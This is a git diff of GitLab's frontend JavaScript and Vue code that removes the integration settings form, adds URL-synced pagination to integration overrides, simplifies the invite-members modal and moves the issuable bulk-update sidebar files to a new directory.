diff --git a/app/assets/javascripts/integrations/edit/store/getters.js b/app/assets/javascripts/integrations/edit/store/getters.js
index 39e14de2d0d..b79132128cc 100644
--- a/app/assets/javascripts/integrations/edit/store/getters.js
+++ b/app/assets/javascripts/integrations/edit/store/getters.js
@@ -1,7 +1,5 @@
export const isInheriting = (state) => (state.defaultState === null ? false : !state.override);
-export const isDisabled = (state) => state.isSaving || state.isTesting || state.isResetting;
-
export const propsSource = (state, getters) =>
getters.isInheriting ? state.defaultState : state.customState;
diff --git a/app/assets/javascripts/integrations/edit/store/mutation_types.js b/app/assets/javascripts/integrations/edit/store/mutation_types.js
index c681056a515..ddf6bef7554 100644
--- a/app/assets/javascripts/integrations/edit/store/mutation_types.js
+++ b/app/assets/javascripts/integrations/edit/store/mutation_types.js
@@ -1,6 +1,4 @@
export const SET_OVERRIDE = 'SET_OVERRIDE';
-export const SET_IS_SAVING = 'SET_IS_SAVING';
-export const SET_IS_TESTING = 'SET_IS_TESTING';
export const SET_IS_RESETTING = 'SET_IS_RESETTING';
export const SET_IS_LOADING_JIRA_ISSUE_TYPES = 'SET_IS_LOADING_JIRA_ISSUE_TYPES';
diff --git a/app/assets/javascripts/integrations/edit/store/mutations.js b/app/assets/javascripts/integrations/edit/store/mutations.js
index 279df1b9266..e7e312ce650 100644
--- a/app/assets/javascripts/integrations/edit/store/mutations.js
+++ b/app/assets/javascripts/integrations/edit/store/mutations.js
@@ -4,12 +4,6 @@ export default {
[types.SET_OVERRIDE](state, override) {
state.override = override;
},
- [types.SET_IS_SAVING](state, isSaving) {
- state.isSaving = isSaving;
- },
- [types.SET_IS_TESTING](state, isTesting) {
- state.isTesting = isTesting;
- },
[types.SET_IS_RESETTING](state, isResetting) {
state.isResetting = isResetting;
},
diff --git a/app/assets/javascripts/integrations/edit/store/state.js b/app/assets/javascripts/integrations/edit/store/state.js
index 1c0b274e4ef..3d40d1b90d5 100644
--- a/app/assets/javascripts/integrations/edit/store/state.js
+++ b/app/assets/javascripts/integrations/edit/store/state.js
@@ -6,7 +6,6 @@ export default ({ defaultState = null, customState = {} } = {}) => {
defaultState,
customState,
isSaving: false,
- isTesting: false,
isResetting: false,
isLoadingJiraIssueTypes: false,
loadingJiraIssueTypesErrorMessage: '',
diff --git a/app/assets/javascripts/integrations/integration_settings_form.js b/app/assets/javascripts/integrations/integration_settings_form.js
deleted file mode 100644
index f519fc87c46..00000000000
--- a/app/assets/javascripts/integrations/integration_settings_form.js
+++ /dev/null
@@ -1,151 +0,0 @@
-import { delay } from 'lodash';
-import toast from '~/vue_shared/plugins/global_toast';
-import axios from '../lib/utils/axios_utils';
-import initForm from './edit';
-import eventHub from './edit/event_hub';
-import {
- TEST_INTEGRATION_EVENT,
- SAVE_INTEGRATION_EVENT,
- GET_JIRA_ISSUE_TYPES_EVENT,
- TOGGLE_INTEGRATION_EVENT,
- VALIDATE_INTEGRATION_FORM_EVENT,
- I18N_FETCH_TEST_SETTINGS_DEFAULT_ERROR_MESSAGE,
- I18N_DEFAULT_ERROR_MESSAGE,
- I18N_SUCCESSFUL_CONNECTION_MESSAGE,
-} from './constants';
-
-export default class IntegrationSettingsForm {
- constructor(formSelector) {
- this.$form = document.querySelector(formSelector);
- this.formActive = false;
-
- this.vue = null;
-
- // Form Metadata
- this.testEndPoint = this.$form.dataset.testUrl;
- }
-
- init() {
- // Init Vue component
- this.vue = initForm(
- document.querySelector('.js-vue-integration-settings'),
- document.querySelector('.js-vue-default-integration-settings'),
- );
- eventHub.$on(TOGGLE_INTEGRATION_EVENT, (active) => {
- this.formActive = active;
- this.toggleServiceState();
- });
- eventHub.$on(TEST_INTEGRATION_EVENT, () => {
- this.testIntegration();
- });
- eventHub.$on(SAVE_INTEGRATION_EVENT, () => {
- this.saveIntegration();
- });
- eventHub.$on(GET_JIRA_ISSUE_TYPES_EVENT, () => {
- this.getJiraIssueTypes(new FormData(this.$form));
- });
- }
-
- saveIntegration() {
- // Save Service if not active and check the following if active;
- // 1) If form contents are valid
- // 2) If this service can be saved
- // If both conditions are true, we override form submission
- // and save the service using provided configuration.
- const formValid = this.$form.checkValidity() || this.formActive === false;
-
- if (formValid) {
- delay(() => {
- this.$form.submit();
- }, 100);
- } else {
- eventHub.$emit(VALIDATE_INTEGRATION_FORM_EVENT);
- this.vue.$store.dispatch('setIsSaving', false);
- }
- }
-
- testIntegration() {
- // Service was marked active so now we check;
- // 1) If form contents are valid
- // 2) If this service can be tested
- // If both conditions are true, we override form submission
- // and test the service using provided configuration.
- if (this.$form.checkValidity()) {
- this.testSettings(new FormData(this.$form));
- } else {
- eventHub.$emit(VALIDATE_INTEGRATION_FORM_EVENT);
- this.vue.$store.dispatch('setIsTesting', false);
- }
- }
-
- /**
- * Change Form's validation enforcement based on service status (active/inactive)
- */
- toggleServiceState() {
- if (this.formActive) {
- this.$form.removeAttribute('novalidate');
- } else if (!this.$form.getAttribute('novalidate')) {
- this.$form.setAttribute('novalidate', 'novalidate');
- }
- }
-
- /**
- * Get a list of Jira issue types for the currently configured project
- *
- * @param {string} formData - URL encoded string containing the form data
- *
- * @return {Promise}
- */
- getJiraIssueTypes(formData) {
- const {
- $store: { dispatch },
- } = this.vue;
-
- dispatch('requestJiraIssueTypes');
-
- return this.fetchTestSettings(formData)
- .then(
- ({
- data: { issuetypes, error, message = I18N_FETCH_TEST_SETTINGS_DEFAULT_ERROR_MESSAGE },
- }) => {
- if (error || !issuetypes?.length) {
- eventHub.$emit(VALIDATE_INTEGRATION_FORM_EVENT);
- throw new Error(message);
- }
-
- dispatch('receiveJiraIssueTypesSuccess', issuetypes);
- },
- )
- .catch(({ message = I18N_DEFAULT_ERROR_MESSAGE }) => {
- dispatch('receiveJiraIssueTypesError', message);
- });
- }
-
- /**
- * Send request to the test endpoint which checks if the current config is valid
- */
- fetchTestSettings(formData) {
- return axios.put(this.testEndPoint, formData);
- }
-
- /**
- * Test Integration config
- */
- testSettings(formData) {
- return this.fetchTestSettings(formData)
- .then(({ data }) => {
- if (data.error) {
- toast(`${data.message} ${data.service_response}`);
- } else {
- this.vue.$store.dispatch('receiveJiraIssueTypesSuccess', data.issuetypes);
- toast(I18N_SUCCESSFUL_CONNECTION_MESSAGE);
- }
- })
- .catch(() => {
- toast(I18N_DEFAULT_ERROR_MESSAGE);
- })
- .finally(() => {
- this.vue.$store.dispatch('setIsTesting', false);
- });
- }
-}
diff --git a/app/assets/javascripts/integrations/overrides/components/integration_overrides.vue b/app/assets/javascripts/integrations/overrides/components/integration_overrides.vue
index 85018f133cb..3fc554c5371 100644
--- a/app/assets/javascripts/integrations/overrides/components/integration_overrides.vue
+++ b/app/assets/javascripts/integrations/overrides/components/integration_overrides.vue
@@ -6,8 +6,12 @@ import { DEFAULT_PER_PAGE } from '~/api';
import { fetchOverrides } from '~/integrations/overrides/api';
import { parseIntPagination, normalizeHeaders } from '~/lib/utils/common_utils';
import { truncateNamespace } from '~/lib/utils/text_utility';
+import { getParameterByName } from '~/lib/utils/url_utility';
import { __, s__ } from '~/locale';
import ProjectAvatar from '~/vue_shared/components/project_avatar.vue';
+import UrlSync from '~/vue_shared/components/url_sync.vue';
+
+const DEFAULT_PAGE = 1;
export default {
name: 'IntegrationOverrides',
@@ -18,6 +22,7 @@ export default {
GlTable,
GlAlert,
ProjectAvatar,
+ UrlSync,
},
props: {
overridesPath: {
@@ -35,7 +40,7 @@ export default {
return {
isLoading: true,
overrides: [],
- page: 1,
+ page: DEFAULT_PAGE,
totalItems: 0,
errorMessage: null,
};
@@ -44,12 +49,21 @@ export default {
showPagination() {
return this.totalItems > this.$options.DEFAULT_PER_PAGE && this.overrides.length > 0;
},
+ query() {
+ return {
+ page: this.page,
+ };
+ },
},
- mounted() {
- this.loadOverrides();
+ created() {
+ const initialPage = this.getInitialPage();
+ this.loadOverrides(initialPage);
},
methods: {
- loadOverrides(page = this.page) {
+ getInitialPage() {
+ return getParameterByName('page') ?? DEFAULT_PAGE;
+ },
+ loadOverrides(page) {
this.isLoading = true;
this.errorMessage = null;
@@ -119,14 +133,16 @@ export default {
</template>
</gl-table>
<div class="gl-display-flex gl-justify-content-center gl-mt-5">
- <gl-pagination
- v-if="showPagination"
- :per-page="$options.DEFAULT_PER_PAGE"
- :total-items="totalItems"
- :value="page"
- :disabled="isLoading"
- @input="loadOverrides"
- />
+ <template v-if="showPagination">
+ <gl-pagination
+ :per-page="$options.DEFAULT_PER_PAGE"
+ :total-items="totalItems"
+ :value="page"
+ :disabled="isLoading"
+ @input="loadOverrides"
+ />
+ <url-sync :query="query" />
+ </template>
</div>
</div>
</template>
diff --git a/app/assets/javascripts/invite_members/components/invite_members_modal.vue b/app/assets/javascripts/invite_members/components/invite_members_modal.vue
index cf4f434a7a8..91a139a5105 100644
--- a/app/assets/javascripts/invite_members/components/invite_members_modal.vue
+++ b/app/assets/javascripts/invite_members/components/invite_members_modal.vue
@@ -20,12 +20,11 @@ import { BV_SHOW_MODAL } from '~/lib/utils/constants';
import { getParameterValues } from '~/lib/utils/url_utility';
import { sprintf } from '~/locale';
import {
- INVITE_MEMBERS_IN_COMMENT,
GROUP_FILTERS,
USERS_FILTER_ALL,
- MEMBER_AREAS_OF_FOCUS,
INVITE_MEMBERS_FOR_TASK,
MODAL_LABELS,
+ LEARN_GITLAB,
} from '../constants';
import eventHub from '../event_hub';
import {
@@ -100,14 +99,6 @@ export default {
type: String,
required: true,
},
- areasOfFocusOptions: {
- type: Array,
- required: true,
- },
- noSelectionAreasOfFocus: {
- type: Array,
- required: true,
- },
tasksToBeDoneOptions: {
type: Array,
required: true,
@@ -125,7 +116,6 @@ export default {
inviteeType: 'members',
newUsersToInvite: [],
selectedDate: undefined,
- selectedAreasOfFocus: [],
selectedTasksToBeDone: [],
selectedTaskProject: this.projects[0],
groupToBeSharedWith: {},
@@ -181,16 +171,6 @@ export default {
this.newUsersToInvite.length === 0 && Object.keys(this.groupToBeSharedWith).length === 0
);
},
- areasOfFocusEnabled() {
- return !this.tasksToBeDoneEnabled && this.areasOfFocusOptions.length !== 0;
- },
- areasOfFocusForPost() {
- if (this.selectedAreasOfFocus.length === 0 && this.areasOfFocusEnabled) {
- return this.noSelectionAreasOfFocus;
- }
-
- return this.selectedAreasOfFocus;
- },
errorFieldDescription() {
if (this.inviteeType === 'group') {
return '';
@@ -200,7 +180,8 @@ export default {
},
tasksToBeDoneEnabled() {
return (
- getParameterValues('open_modal')[0] === 'invite_members_for_task' &&
+ (getParameterValues('open_modal')[0] === 'invite_members_for_task' ||
+ this.isOnLearnGitlab) &&
this.tasksToBeDoneOptions.length
);
},
@@ -221,11 +202,16 @@ export default {
? this.selectedTaskProject.id
: '';
},
+ isOnLearnGitlab() {
+ return this.source === LEARN_GITLAB;
+ },
},
mounted() {
eventHub.$on('openModal', (options) => {
this.openModal(options);
- this.trackEvent(MEMBER_AREAS_OF_FOCUS.name, MEMBER_AREAS_OF_FOCUS.view);
+ if (this.isOnLearnGitlab) {
+ this.trackEvent(INVITE_MEMBERS_FOR_TASK.name, this.source);
+ }
});
if (this.tasksToBeDoneEnabled) {
@@ -267,13 +253,6 @@ export default {
this.submitInviteMembers();
}
},
- trackInvite() {
- if (this.source === INVITE_MEMBERS_IN_COMMENT) {
- this.trackEvent(INVITE_MEMBERS_IN_COMMENT, 'comment_invite_success');
- }
-
- this.trackEvent(MEMBER_AREAS_OF_FOCUS.name, MEMBER_AREAS_OF_FOCUS.submit);
- },
trackinviteMembersForTask() {
const label = 'selected_tasks_to_be_done';
const property = this.selectedTasksToBeDone.join(',');
@@ -287,7 +266,6 @@ export default {
this.newUsersToInvite = [];
this.groupToBeSharedWith = {};
this.invalidFeedbackMessage = '';
- this.selectedAreasOfFocus = [];
this.selectedTasksToBeDone = [];
[this.selectedTaskProject] = this.projects;
},
@@ -303,7 +281,7 @@ export default {
: Api.groupShareWithGroup.bind(Api);
apiShareWithGroup(this.id, this.shareWithGroupPostData(this.groupToBeSharedWith.id))
- .then(this.showToastMessageSuccess)
+ .then(this.showSuccessMessage)
.catch(this.showInvalidFeedbackMessage);
},
submitInviteMembers() {
@@ -328,11 +306,10 @@ export default {
promises.push(apiAddByUserId(this.id, this.addByUserIdPostData(usersToAddById)));
}
- this.trackInvite();
this.trackinviteMembersForTask();
Promise.all(promises)
- .then(this.conditionallyShowToastSuccess)
+ .then(this.conditionallyShowSuccessMessage)
.catch(this.showInvalidFeedbackMessage);
},
inviteByEmailPostData(usersToInviteByEmail) {
@@ -341,7 +318,6 @@ export default {
email: usersToInviteByEmail,
access_level: this.selectedAccessLevel,
invite_source: this.source,
- areas_of_focus: this.areasOfFocusForPost,
tasks_to_be_done: this.tasksToBeDoneForPost,
tasks_project_id: this.tasksProjectForPost,
};
@@ -352,7 +328,6 @@ export default {
user_id: usersToAddById,
access_level: this.selectedAccessLevel,
invite_source: this.source,
- areas_of_focus: this.areasOfFocusForPost,
tasks_to_be_done: this.tasksToBeDoneForPost,
tasks_project_id: this.tasksProjectForPost,
};
@@ -364,11 +339,11 @@ export default {
group_access: this.selectedAccessLevel,
};
},
- conditionallyShowToastSuccess(response) {
+ conditionallyShowSuccessMessage(response) {
const message = this.unescapeMsg(responseMessageFromSuccess(response));
if (message === '') {
- this.showToastMessageSuccess();
+ this.showSuccessMessage();
return;
}
@@ -376,8 +351,12 @@ export default {
this.invalidFeedbackMessage = message;
this.isLoading = false;
},
- showToastMessageSuccess() {
- this.$toast.show(this.$options.labels.toastMessageSuccessful, this.toastOptions);
+ showSuccessMessage() {
+ if (this.isOnLearnGitlab) {
+ eventHub.$emit('showSuccessfulInvitationsAlert');
+ } else {
+ this.$toast.show(this.$options.labels.toastMessageSuccessful, this.toastOptions);
+ }
this.closeModal();
},
showInvalidFeedbackMessage(response) {
@@ -504,16 +483,6 @@ export default {
</template>
</gl-datepicker>
</div>
- <div v-if="areasOfFocusEnabled">
- <label class="gl-mt-5">
- {{ $options.labels.areasOfFocusLabel }}
- </label>
- <gl-form-checkbox-group
- v-model="selectedAreasOfFocus"
- :options="areasOfFocusOptions"
- data-testid="area-of-focus-checks"
- />
- </div>
<div v-if="showTasksToBeDone" data-testid="invite-members-modal-tasks-to-be-done">
<label class="gl-mt-5">
{{ $options.labels.members.tasksToBeDone.title }}
diff --git a/app/assets/javascripts/invite_members/components/invite_members_trigger.vue b/app/assets/javascripts/invite_members/components/invite_members_trigger.vue
index bf3250f63a5..7dd74f8803a 100644
--- a/app/assets/javascripts/invite_members/components/invite_members_trigger.vue
+++ b/app/assets/javascripts/invite_members/components/invite_members_trigger.vue
@@ -1,6 +1,5 @@
<script>
import { GlButton, GlLink, GlIcon } from '@gitlab/ui';
-import ExperimentTracking from '~/experimentation/experiment_tracking';
import { s__ } from '~/locale';
import eventHub from '../event_hub';
import { TRIGGER_ELEMENT_BUTTON, TRIGGER_ELEMENT_SIDE_NAV } from '../constants';
@@ -32,11 +31,6 @@ export default {
type: String,
required: true,
},
- trackExperiment: {
- type: String,
- required: false,
- default: undefined,
- },
triggerElement: {
type: String,
required: false,
@@ -72,9 +66,6 @@ export default {
return baseAttributes;
},
},
- mounted() {
- this.trackExperimentOnShow();
- },
methods: {
checkTrigger(targetTriggerElement) {
return this.triggerElement === targetTriggerElement;
@@ -82,12 +73,6 @@ export default {
openModal() {
eventHub.$emit('openModal', { inviteeType: 'members', source: this.triggerSource });
},
- trackExperimentOnShow() {
- if (this.trackExperiment) {
- const tracking = new ExperimentTracking(this.trackExperiment);
- tracking.event('comment_invite_shown');
- }
- },
},
TRIGGER_ELEMENT_BUTTON,
TRIGGER_ELEMENT_SIDE_NAV,
diff --git a/app/assets/javascripts/invite_members/constants.js b/app/assets/javascripts/invite_members/constants.js
index 59d4c2f3077..ec59b3909fe 100644
--- a/app/assets/javascripts/invite_members/constants.js
+++ b/app/assets/javascripts/invite_members/constants.js
@@ -2,12 +2,6 @@ import { __, s__ } from '~/locale';
export const SEARCH_DELAY = 200;
-export const INVITE_MEMBERS_IN_COMMENT = 'invite_members_in_comment';
-export const MEMBER_AREAS_OF_FOCUS = {
- name: 'member_areas_of_focus',
- view: 'view',
- submit: 'submit',
-};
export const INVITE_MEMBERS_FOR_TASK = {
minimum_access_level: 30,
name: 'invite_members_for_task',
@@ -77,9 +71,6 @@ export const READ_MORE_TEXT = s__(
export const INVITE_BUTTON_TEXT = s__('InviteMembersModal|Invite');
export const CANCEL_BUTTON_TEXT = s__('InviteMembersModal|Cancel');
export const HEADER_CLOSE_LABEL = s__('InviteMembersModal|Close invite team members');
-export const AREAS_OF_FOCUS_LABEL = s__(
- 'InviteMembersModal|What would you like new member(s) to focus on? (optional)',
-);
export const MODAL_LABELS = {
members: {
@@ -142,5 +133,6 @@ export const MODAL_LABELS = {
inviteButtonText: INVITE_BUTTON_TEXT,
cancelButtonText: CANCEL_BUTTON_TEXT,
headerCloseLabel: HEADER_CLOSE_LABEL,
- areasOfFocusLabel: AREAS_OF_FOCUS_LABEL,
};
+
+export const LEARN_GITLAB = 'learn_gitlab';
diff --git a/app/assets/javascripts/invite_members/init_invite_members_modal.js b/app/assets/javascripts/invite_members/init_invite_members_modal.js
index fc657a064dd..2cc056f2ddb 100644
--- a/app/assets/javascripts/invite_members/init_invite_members_modal.js
+++ b/app/assets/javascripts/invite_members/init_invite_members_modal.js
@@ -40,10 +40,8 @@ export default function initInviteMembersModal() {
defaultAccessLevel: parseInt(el.dataset.defaultAccessLevel, 10),
groupSelectFilter: el.dataset.groupsFilter,
groupSelectParentId: parseInt(el.dataset.parentId, 10),
- areasOfFocusOptions: JSON.parse(el.dataset.areasOfFocusOptions),
tasksToBeDoneOptions: JSON.parse(el.dataset.tasksToBeDoneOptions || '[]'),
projects: JSON.parse(el.dataset.projects || '[]'),
- noSelectionAreasOfFocus: JSON.parse(el.dataset.noSelectionAreasOfFocus),
usersFilter: el.dataset.usersFilter,
filterId: parseInt(el.dataset.filterId, 10),
},
diff --git a/app/assets/javascripts/issuable_bulk_update_sidebar/components/status_select.vue b/app/assets/javascripts/issuable/bulk_update_sidebar/components/status_select.vue
index 9509399e91d..9509399e91d 100644
--- a/app/assets/javascripts/issuable_bulk_update_sidebar/components/status_select.vue
+++ b/app/assets/javascripts/issuable/bulk_update_sidebar/components/status_select.vue
diff --git a/app/assets/javascripts/issuable_bulk_update_sidebar/constants.js b/app/assets/javascripts/issuable/bulk_update_sidebar/constants.js
index ad15b25f9cf..ad15b25f9cf 100644
--- a/app/assets/javascripts/issuable_bulk_update_sidebar/constants.js
+++ b/app/assets/javascripts/issuable/bulk_update_sidebar/constants.js
diff --git a/app/assets/javascripts/issuable_bulk_update_sidebar/init_issue_status_select.js b/app/assets/javascripts/issuable/bulk_update_sidebar/init_issue_status_select.js
index 43179a86d70..43179a86d70 100644
--- a/app/assets/javascripts/issuable_bulk_update_sidebar/init_issue_status_select.js
+++ b/app/assets/javascripts/issuable/bulk_update_sidebar/init_issue_status_select.js
diff --git a/app/assets/javascripts/issuable/bulk_update_sidebar/issuable_bulk_update_actions.js b/app/assets/javascripts/issuable/bulk_update_sidebar/issuable_bulk_update_actions.js
new file mode 100644
index 00000000000..14824820c0d
--- /dev/null
+++ b/app/assets/javascripts/issuable/bulk_update_sidebar/issuable_bulk_update_actions.js
@@ -0,0 +1,126 @@
+import $ from 'jquery';
+import { difference, intersection, union } from 'lodash';
+import createFlash from '~/flash';
+import axios from '~/lib/utils/axios_utils';
+import { __ } from '~/locale';
+
+export default {
+ init({ form, issues, prefixId } = {}) {
+ this.prefixId = prefixId || 'issue_';
+ this.form = form || this.getElement('.bulk-update');
+ this.$labelDropdown = this.form.find('.js-label-select');
+ this.issues = issues || this.getElement('.issues-list .issue');
+ this.willUpdateLabels = false;
+ this.bindEvents();
+ },
+
+ bindEvents() {
+ // eslint-disable-next-line @gitlab/no-global-event-off
+ return this.form.off('submit').on('submit', this.onFormSubmit.bind(this));
+ },
+
+ onFormSubmit(e) {
+ e.preventDefault();
+ return this.submit();
+ },
+
+ submit() {
+ axios[this.form.attr('method')](this.form.attr('action'), this.getFormDataAsObject())
+ .then(() => window.location.reload())
+ .catch(() => this.onFormSubmitFailure());
+ },
+
+ onFormSubmitFailure() {
+ this.form.find('[type="submit"]').enable();
+ return createFlash({
+ message: __('Issue update failed'),
+ });
+ },
+
+ /**
+ * Simple form serialization, it will return just what we need
+ * Returns key/value pairs from form data
+ */
+
+ getFormDataAsObject() {
+ const formData = {
+ update: {
+ state_event: this.form.find('input[name="update[state_event]"]').val(),
+ assignee_ids: [this.form.find('input[name="update[assignee_ids][]"]').val()],
+ milestone_id: this.form.find('input[name="update[milestone_id]"]').val(),
+ issuable_ids: this.form.find('input[name="update[issuable_ids]"]').val(),
+ subscription_event: this.form.find('input[name="update[subscription_event]"]').val(),
+ health_status: this.form.find('input[name="update[health_status]"]').val(),
+ epic_id: this.form.find('input[name="update[epic_id]"]').val(),
+ sprint_id: this.form.find('input[name="update[iteration_id]"]').val(),
+ add_label_ids: [],
+ remove_label_ids: [],
+ },
+ };
+ if (this.willUpdateLabels) {
+ formData.update.add_label_ids = this.$labelDropdown.data('user-checked');
+ formData.update.remove_label_ids = this.$labelDropdown.data('user-unchecked');
+ }
+ return formData;
+ },
+
+ setOriginalDropdownData() {
+ const $labelSelect = $('.bulk-update .js-label-select');
+ const userCheckedIds = $labelSelect.data('user-checked') || [];
+ const userUncheckedIds = $labelSelect.data('user-unchecked') || [];
+
+ // Common labels plus user checked labels minus user unchecked labels
+ const checkedIdsToShow = difference(
+ union(this.getOriginalCommonIds(), userCheckedIds),
+ userUncheckedIds,
+ );
+
+ // Indeterminate labels minus user checked labels minus user unchecked labels
+ const indeterminateIdsToShow = difference(
+ this.getOriginalIndeterminateIds(),
+ userCheckedIds,
+ userUncheckedIds,
+ );
+
+ $labelSelect.data('marked', checkedIdsToShow);
+ $labelSelect.data('indeterminate', indeterminateIdsToShow);
+ },
+
+ // From issuable's initial bulk selection
+ getOriginalCommonIds() {
+ const labelIds = [];
+ this.getElement('.issuable-list input[type="checkbox"]:checked').each((i, el) => {
+ labelIds.push(this.getElement(`#${this.prefixId}${el.dataset.id}`).data('labels'));
+ });
+ return intersection.apply(this, labelIds);
+ },
+
+ // From issuable's initial bulk selection
+ getOriginalIndeterminateIds() {
+ const uniqueIds = [];
+ const labelIds = [];
+ let issuableLabels = [];
+
+ // Collect unique label IDs for all checked issues
+ this.getElement('.issuable-list input[type="checkbox"]:checked').each((i, el) => {
+ issuableLabels = this.getElement(`#${this.prefixId}${el.dataset.id}`).data('labels');
+ issuableLabels.forEach((labelId) => {
+ // Store unique IDs
+ if (uniqueIds.indexOf(labelId) === -1) {
+ uniqueIds.push(labelId);
+ }
+ });
+ // Store array of IDs per issuable
+ labelIds.push(issuableLabels);
+ });
+ // Add uniqueIds to add it as argument for _.intersection
+ labelIds.unshift(uniqueIds);
+ // Return IDs that are present but not in all selected issuables
+ return uniqueIds.filter((x) => !intersection.apply(this, labelIds).includes(x));
+ },
+
+ getElement(selector) {
+ this.scopeEl = this.scopeEl || $('.content');
+ return this.scopeEl.find(selector);
+ },
+};
diff --git a/app/assets/javascripts/issuable/bulk_update_sidebar/issuable_bulk_update_sidebar.js b/app/assets/javascripts/issuable/bulk_update_sidebar/issuable_bulk_update_sidebar.js
new file mode 100644
index 00000000000..1eb3ffc9808
--- /dev/null
+++ b/app/assets/javascripts/issuable/bulk_update_sidebar/issuable_bulk_update_sidebar.js
@@ -0,0 +1,173 @@
+/* eslint-disable class-methods-use-this, no-new */
+
+import $ from 'jquery';
+import { property } from 'lodash';
+
+import issuableEventHub from '~/issues_list/eventhub';
+import LabelsSelect from '~/labels/labels_select';
+import MilestoneSelect from '~/milestones/milestone_select';
+import initIssueStatusSelect from './init_issue_status_select';
+import IssuableBulkUpdateActions from './issuable_bulk_update_actions';
+import subscriptionSelect from './subscription_select';
+
+const HIDDEN_CLASS = 'hidden';
+const DISABLED_CONTENT_CLASS = 'disabled-content';
+const SIDEBAR_EXPANDED_CLASS = 'right-sidebar-expanded issuable-bulk-update-sidebar';
+const SIDEBAR_COLLAPSED_CLASS = 'right-sidebar-collapsed issuable-bulk-update-sidebar';
+
+export default class IssuableBulkUpdateSidebar {
+ constructor() {
+ this.vueIssuablesListFeature = property(['gon', 'features', 'vueIssuablesList'])(window);
+
+ this.initDomElements();
+ this.bindEvents();
+ this.initDropdowns();
+ this.setupBulkUpdateActions();
+ }
+
+ initDomElements() {
+ this.$page = $('.layout-page');
+ this.$sidebar = $('.right-sidebar');
+ this.$sidebarInnerContainer = this.$sidebar.find('.issuable-sidebar');
+ this.$bulkEditCancelBtn = $('.js-bulk-update-menu-hide');
+ this.$bulkEditSubmitBtn = $('.js-update-selected-issues');
+ this.$bulkUpdateEnableBtn = $('.js-bulk-update-toggle');
+ this.$otherFilters = $('.issues-other-filters');
+ this.$checkAllContainer = $('.check-all-holder');
+ this.$issueChecks = $('.issue-check');
+ this.$issuesList = $('.issuable-list input[type="checkbox"]');
+ this.$issuableIdsInput = $('#update_issuable_ids');
+ }
+
+ bindEvents() {
+ this.$bulkUpdateEnableBtn.on('click', (e) => this.toggleBulkEdit(e, true));
+ this.$bulkEditCancelBtn.on('click', (e) => this.toggleBulkEdit(e, false));
+ this.$checkAllContainer.on('click', (e) => this.selectAll(e));
+ this.$issuesList.on('change', () => this.updateFormState());
+ this.$bulkEditSubmitBtn.on('click', () => this.prepForSubmit());
+ this.$checkAllContainer.on('click', () => this.updateFormState());
+
+ // The event hub connects this bulk update logic with `issues_list_app.vue`.
+ // We can remove it once we've refactored the issues list page bulk edit sidebar to Vue.
+ // https://gitlab.com/gitlab-org/gitlab/-/issues/325874
+ issuableEventHub.$on('issuables:enableBulkEdit', () => this.toggleBulkEdit(null, true));
+ issuableEventHub.$on('issuables:updateBulkEdit', () => this.updateFormState());
+ }
+
+ initDropdowns() {
+ new LabelsSelect();
+ new MilestoneSelect();
+ initIssueStatusSelect();
+ subscriptionSelect();
+
+ if (IS_EE) {
+ import('ee/vue_shared/components/sidebar/health_status_select/health_status_bundle')
+ .then(({ default: HealthStatusSelect }) => {
+ HealthStatusSelect();
+ })
+ .catch(() => {});
+ }
+
+ if (IS_EE) {
+ import('ee/vue_shared/components/sidebar/epics_select/epics_select_bundle')
+ .then(({ default: EpicSelect }) => {
+ EpicSelect();
+ })
+ .catch(() => {});
+ }
+
+ if (IS_EE) {
+ import('ee/vue_shared/components/sidebar/iterations_dropdown_bundle')
+ .then(({ default: iterationsDropdown }) => {
+ iterationsDropdown();
+ })
+ .catch((e) => {
+ throw e;
+ });
+ }
+ }
+
+ setupBulkUpdateActions() {
+ IssuableBulkUpdateActions.setOriginalDropdownData();
+ }
+
+ updateFormState() {
+ const noCheckedIssues = !$('.issuable-list input[type="checkbox"]:checked').length;
+
+ this.toggleSubmitButtonDisabled(noCheckedIssues);
+ this.updateSelectedIssuableIds();
+
+ IssuableBulkUpdateActions.setOriginalDropdownData();
+ }
+
+ prepForSubmit() {
+ // if submit button is disabled, submission is blocked. This ensures we disable after
+ // form submission is carried out
+ setTimeout(() => this.$bulkEditSubmitBtn.disable());
+ this.updateSelectedIssuableIds();
+ }
+
+ toggleBulkEdit(e, enable) {
+ e?.preventDefault();
+
+ issuableEventHub.$emit('issuables:toggleBulkEdit', enable);
+
+ this.toggleSidebarDisplay(enable);
+ this.toggleBulkEditButtonDisabled(enable);
+ this.toggleOtherFiltersDisabled(enable);
+ this.toggleCheckboxDisplay(enable);
+ }
+
+ updateSelectedIssuableIds() {
+ this.$issuableIdsInput.val(IssuableBulkUpdateSidebar.getCheckedIssueIds());
+ }
+
+ selectAll() {
+ const checkAllButtonState = this.$checkAllContainer.find('input').prop('checked');
+
+ this.$issuesList.prop('checked', checkAllButtonState);
+ }
+
+ toggleSidebarDisplay(show) {
+ this.$page.toggleClass(SIDEBAR_EXPANDED_CLASS, show);
+ this.$page.toggleClass(SIDEBAR_COLLAPSED_CLASS, !show);
+ this.$sidebarInnerContainer.toggleClass(HIDDEN_CLASS, !show);
+ this.$sidebar.toggleClass(SIDEBAR_EXPANDED_CLASS, show);
+ this.$sidebar.toggleClass(SIDEBAR_COLLAPSED_CLASS, !show);
+ }
+
+ toggleBulkEditButtonDisabled(disable) {
+ if (disable) {
+ this.$bulkUpdateEnableBtn.disable();
+ } else {
+ this.$bulkUpdateEnableBtn.enable();
+ }
+ }
+
+ toggleCheckboxDisplay(show) {
+ this.$checkAllContainer.toggleClass(HIDDEN_CLASS, !show || this.vueIssuablesListFeature);
+ this.$issueChecks.toggleClass(HIDDEN_CLASS, !show);
+ }
+
+ toggleOtherFiltersDisabled(disable) {
+ this.$otherFilters.toggleClass(DISABLED_CONTENT_CLASS, disable);
+ }
+
+ toggleSubmitButtonDisabled(disable) {
+ if (disable) {
+ this.$bulkEditSubmitBtn.disable();
+ } else {
+ this.$bulkEditSubmitBtn.enable();
+ }
+ }
+
+ static getCheckedIssueIds() {
+ const $checkedIssues = $('.issuable-list input[type="checkbox"]:checked');
+
+ if ($checkedIssues.length > 0) {
+ return $.map($checkedIssues, (value) => $(value).data('id'));
+ }
+
+ return [];
+ }
+}
diff --git a/app/assets/javascripts/issuable_bulk_update_sidebar/issuable_init_bulk_update_sidebar.js b/app/assets/javascripts/issuable/bulk_update_sidebar/issuable_init_bulk_update_sidebar.js
index 179c2b83c6c..179c2b83c6c 100644
--- a/app/assets/javascripts/issuable_bulk_update_sidebar/issuable_init_bulk_update_sidebar.js
+++ b/app/assets/javascripts/issuable/bulk_update_sidebar/issuable_init_bulk_update_sidebar.js
